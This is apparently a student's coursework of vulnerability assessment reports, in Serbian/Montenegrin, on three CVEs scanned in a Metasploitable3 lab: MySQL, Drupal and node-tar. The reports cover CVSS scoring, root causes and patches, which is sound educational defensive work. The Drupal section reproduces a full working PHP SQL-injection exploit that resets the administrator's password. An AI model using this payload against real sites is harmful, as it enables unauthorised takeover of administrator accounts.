Vulnerability 1 Assessment Report

Ime i prezime: Hristina Adamović R2 20/2024
Tim: 2
Datum: 27.10.2024.
Scan Tool: Nessus 10.8.3
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2020-14567

- **Opis:**
  Ranjivost u MySQL Server proizvodu kompanije Oracle (komponenta za replikaciju). Pogođene verzije su 5.7.29 i ranije, kao i 8.0.19 i ranije. Ova lako eksploatabilna ranjivost omogućava visoko privilegovanom napadaču sa mrežnim pristupom putem više protokola da kompromituje MySQL Server. Uspješna eksploatacija ove ranjivosti može dovesti do toga da napadač izazove blokiranje ili česti pad servera (kompletan DoS - Denial of Service).

    - **Servis**: MySQL Server (komponenta za replikaciju)
    - **Port**: 3306
    - **Protokol**: TCP/IP

---

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 4.9 (srednja)

- **Vektor:**
  AV = Attack Vector: Network - napad može biti izvršen preko mreže.

  AC = Attack Complexity: Low - ovaj napad ne zahtijeva mnogo tehničkog znanja, lako ga je izvesti.

  PR = Privileges Required: High - napadač mora imati visoke privilegije, poput administratorskog ili root pristupa.

  UI = User Interaction: None - napad se može izvršiti bez interakcije korisnika.

S = Scope: Unchanged - opseg ranjivosti nije promijenjen.

C = Confidentiality Impact: None - nema uticaja na povjerljivost.

I = Integrity Impact: None - nema uticaja na integritet.

A = Availability Impact: High - ugrožava dostupnost sistema, napadač može učiniti neke usluge nedostupnim.

- **Opravdanje:**
  CVSS skor je srednji jer ranjivost zahtijeva visoke privilegije za napadača, što smanjuje rizik u poređenju sa ranjivostima koje zahtijevaju niske ili nikakve privilegije. Ranjivost se može izvesti bez korisničke interakcije i rezultat uspješnog napada je potpuni gubitak dostupnosti MySQL servera, te to povećava skor. Nedostatak uticaja na poverljivost i integritet podataka doprinosi tome da CVSS skor ostane srednji.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Ne.

- **Opis eksploita:**
  Trenutno ne postoji javno dostupna verzija eksploita za ovu ranjivost. Eksploatacija bi mogla uključivati korištenje specifičnih zahtjeva unutar replikacionog okruženja MySQL servera, izazivajući prekid u radu servera zbog grešaka u kodu za rukovanje replikacijom. Posljedice uspješnog napada uključuju pad MySQL servera, čime se ugrožava dostupnost podataka za sve povezane aplikacije.

- **Kod eksploita (ukoliko postoji):**

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je prisutna u MySQL verzijama 5.7.29 i ranije i 8.0.19 i ranije. Detalji o tačnom uvođenju greške nisu poznati javnosti, ali se odnose na problematično rukovanje replikacionim komandama u bazi podataka, što uzrokuje DoS.

- **Primer Koda (ako je primenljivo):**
  Nema dostupnog koda za detaljan uvid u uzrok greške.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):**
  Da

- **Mitigation Strategy:**
  Oracle je objavio zakrpu za ovu ranjivost u bezbjednosnom ažuriranju iz jula 2020. Preporučuje se ažuriranje MySQL servera na verzije iznad 5.7.29 i 8.0.19 gdje je ranjivost ispravljena. Primjenu ažuriranja mogu olakšati alatke kao što su *yum update mysql-server* za Red Hat ili *apt-get install mysql-server* za Ubuntu distribucije.

- **Alternativni fix (ukoliko ne postoji vendorski):**
  Ako ažuriranje nije odmah dostupno, preporučuje se ograničavanje pristupa replikacionim funkcijama samo na provjerene korisnike sa visokim nivoom privilegija i praćenje servera zbog potencijalnih znakova nestabilnosti ili DoS napada.

Vulnerability 2 Assessment Report

Ime i prezime: Hristina Adamović R2 20/2024
Tim: 2
Datum: 10.10.2024.
Scan Tool: Nessus 10.8.3
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-3704

- **Opis:**
  Drupal verzije 7.x prije 7.32 pogođen je ranjivošću SQL injekcije zbog greške u Drupal-ovom API-ju za apstrakciju baze podataka. To omogućava udaljenom napadaču da koristi specijalno kreirane zahtjeve koji mogu dovesti do proizvoljnog izvršavanja SQL upita. Ovo može dovesti do eskalacije privilegija, proizvoljnog izvršavanja PHP koda ili udaljenog izvršavanja koda.

    - **Servis**: Drupal Core (komponenta za apstrakciju baze podataka)
    - **Port**: 80
    - **Protokol**: HTTP

---

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 7.5 (visoka)

- **Vektor:**
  AV = Attack Vector: Network - napad može biti izvršen preko mreže.

  AC = Attack Complexity: Low - ovaj napad ne zahtijeva mnogo tehničkog znanja, lako ga je izvesti.

  PR = Privileges Required: None - napadaču nisu potrebne privilegije za izvršenje napada.

  UI = User Interaction: None - napad se može izvršiti bez interakcije korisnika.

  S = Scope: Unchanged - opseg ranjivosti nije promijenjen.

  C = Confidentiality Impact: Partial - omogućava djelimičan pristup poverljivim podacima.

  I = Integrity Impact: Partial - omogućava djelimičnu izmjenu podataka.

  A = Availability Impact: Partial - može dovesti do djelimične nedostupnosti resursa.

- **Opravdanje:**
  CVSS skor je visok jer SQL injection napad omogućava pristup podacima, manipulaciju njima i potencijalno ugrožavanje funkcionalnosti aplikacije. Niski zahtjevi za tehničkim znanjem i nedostatak potrebe za interakcijom sa korisnikom dodatno čine ranjivost ozbiljnom. Međutim, pošto su povjerljivost, integritet i dostupnost djelimično ugroženi, a ne potpuno, CVSS skor ostaje ispod kritične granice. Ranjivost omogućava pristup ili izmjenu podataka u bazi, a iako ne izaziva potpuni DoS (denial of service), ovi potencijalni efekti predstavljaju visok nivo rizika.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da. https://www.exploit-db.com/exploits/34993

- **Opis eksploita:**
  Ovaj exploit koristi SQL injekciju u Drupal core. Napad cilja blok za prijavu korisnika i ažurira korisnika sa uid=1 (obično admin) tako što umeće SQL kod u parametar "name". Ako je napad uspješan, mijenja ime korisnika na "admin" i postavlja novu lozinku za

administratora (uid=1). Ako server odgovori određenom greškom, napadač može da se prijavi kao administrator. Ovaj napad može omogućiti potpunu kontrolu nad Drupal sajtom, što može dovesti do ozbiljnih bezbednosnih problema.

- **Kod eksploita (ukoliko postoji):**

```php
<?php
#--------------------------------------------------------------------------------#
# Exploit Title: Drupal core 7.x - SQL Injection                                 #
# Date: Oct 16 2014                                                              #
# Exploit Author: Dustin Dörr                                                    #
# Software Link: http://www.drupal.com/                                          #
# Version: Drupal core 7.x versions prior to 7.32                                #
# CVE: CVE-2014-3704                                                             #
#--------------------------------------------------------------------------------#

$url = 'http://www.example.com';
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') .
"'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}
?>
```

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ranjivost je prisutna u verziji Drupal Core 7.x prije 7.32. Ranjivost proizlazi iz neadekvatnog rukovanja SQL argumentima unutar funkcije *expandArguments*, što omogućava remote napadačima da izvrše SQL injection napade korištenjem niza sa posebno kreiranim ključevima (ključevima koji nisu integer-i).

- **Primer Koda (ako je primenljivo):**

```
protected function expandArguments(&$query, &$args) {
      $modified = FALSE;

      foreach (array_filter($args, 'is_array') as $key => $data) {
        $new_keys = array();
        foreach ($data as $i => $value) {
  // This assumes that there are no other placeholders that use the same name
      For example, if the array placeholder is defined as :example
          // and there is already an :example_2 placeholder, this will generate
          // a duplicate key.  We do not account for that as the calling code
```

```
          // is already broken if that happens.

        $new_keys[$key . '_' . $i] = $value;
        }

        $query = preg_replace('#' . $key . '\b#', implode(', ',
array_keys($new_keys)), $query);

        // Update the args array with the new placeholders.
        unset($args[$key]);
        $args += $new_keys;

        $modified = TRUE;
      }

      return $modified;
    }
```

ExpandArguments funkcija dinamički mijenja placeholder-e u SQL upitu tako što generiše jedinstvene ključeve za svaku vrijednost iz niza. Međutim, funkcija pretpostavlja da su ključevi integer-i.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):**
  Da. Dio koda označen crvenom bojom iz prethodne stavke zamijenjen je linijom *array_values($data)* koja re-indeksira niz, osiguravajući da ključevi koji nisu integeri budu ignorisani.

- **Mitigation Strategy:**
  Drupal je izdao zakrpu za ovu ranjivost u verziji 7.32. Preporučuje se ažuriranje Drupal Core instalacije na verziju 7.32 ili noviju, čime se ranjivost eliminiše. Proces ažuriranja može biti izvršen kroz Drupal administrativni interfejs ili manuelnim preuzimanjem i instalacijom najnovije verzije sa zvanične Drupal stranice. Detaljno upustvo za ažuriranje dostupno je na idućem linku https://www.drupal.org/docs/updating-drupal .

- **Alternativni fix (ukoliko ne postoji vendorski):**
  Ako ažuriranje nije odmah dostupno, onda se preporučuje da se ručno zakrpa sa idućeg linka https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch primjeni u Drupal-ovom *database.inc* fajlu da bi se ispravila ranjivost do momenta kada ažuriranje postane dostupno.

Vulnerability 3 Assessment Report

Ime i prezime: Hristina Adamović R2 20/2024
Tim: 2
Datum: 11.10.2024.
Scan Tool: Nessus 10.8.3
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID:** CVE-2024-28863

- **Opis:**
  Node-tar biblioteka za Node.js prije verzije 6.2.1 ne sadrži ograničenje na broj pod-direktorijuma u procesu kreiranja foldera. Napadač može iskoristiti ovu ranjivost slanjem struktura putanja sa prevelikim brojem pod-direktorijuma, što može iscrpiti CPU i memoriju i čak uzrokovati pad Node.js klijenta. Problem je riješen u verziji 6.2.1 ograničavanjem dubine pod-direktorijuma prilikom ekstrakcije.

---

2. CVSS skor

- **CVSS skor (numerička vrijednost):** 6.5 (srednja)

- **Vektor:**
  AV = Attack Vector: Network - napad može biti izvršen preko mreže.

  AC = Attack Complexity: Low - ovaj napad ne zahtijeva mnogo tehničkog znanja, lako ga je izvesti.

  PR = Privileges Required: None - napadaču nisu potrebne privilegije za izvršenje napada.

  UI = User Interaction: Required - za pokretanje napada potrebna je interakcija korisnika (npr. korisnik mora započeti ekstrakciju).

  S = Scope: Unchanged - opseg ranjivosti nije promijenjen.

  C = Confidentiality Impact: None – nema uticaja na povjerljivost podataka.

  I = Integrity Impact: None – nema uticaja na integritet podataka.

A = Availability Impact: High – napad može dovesti do potpunog pada aplikacije i onemogućiti njen rad.

- **Opravdanje:**
  Napad ne zahtijeva nikakve privilegije, a potencijalno može dovesti do potpunog gubitka dostupnosti aplikacije, te to utiče na povećanje CVSS skora. Sa druge strane, napad zahtijeva određenu interakciju korisnika i uticaj na povjerljivost i integritet je odsutan, te stoga CVSS skor ostaje srednji.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Da. https://github.com/isaacs/node-tar/security/advisories/GHSA-f5x3-32g6-xq36

- **Opis eksploita:**
  Eksploatacija ranjivosti u node-tar modulu funkcioniše tako što napadač kreira tar datoteku s velikim brojem ugnježdenih podfoldera. Kada node-tar pokuša da je obradi, dolazi do prekomjernog korištenja memorije i procesorske snage, što dovodi do mogućeg pada sistema i DoS napada (uskraćivanja usluge).

- **Kod eksploita (ukoliko postoji):**

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**
  Ova ranjivost je prisutna u node-tar verzijama prije 6.2.1, gde nije implementirano ograničenje u broju pod-direktorijuma prilikom ekstrakcije. Verzija 6.2.1 rješava ovaj problem tako što ograničava dubinu ugnježdenih foldera tokom ekstrakcije. Granica je podrazumjevano podešena na 1024, ali se može mijenjati ili podesiti na beskonačnost ako želimo da uklonimo ograničenje. Link do komita gdje je uvedena ispravka: https://github.com/isaacs/node-tar/commit/fe8cd57da5686f8695415414bda49206a545f7f7

- **Primer Koda (ako je primenljivo):**
  Kod na idućoj slici predstavlja ključan dio komita sa prethodnog linka.

```
    if (isFinite(this.maxDepth) && parts.length > this.maxDepth) {
      this.warn('TAR_ENTRY_ERROR', 'path excessively deep', {
        entry,
        path: p,
        depth: parts.length,
        maxDepth: this.maxDepth,
      })
      return false
    }
```

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):**
  Da.

- **Mitigation Strategy:**
  Preporučuje se nadogradnja node-tar biblioteke na verziju 6.2.1 ili noviju. Ažuriranje se može izvršiti ažuriranjem paketa preko npm menadžera komandom *npm update node-tar*.

- **Alternativni fix (ukoliko ne postoji vendorski):**
  Ukoliko ažuriranje nije moguće odmah primijeniti, preporučuje se ručno dodavanje koda za ograničavanje dubine pod-direktorijuma u sam paket.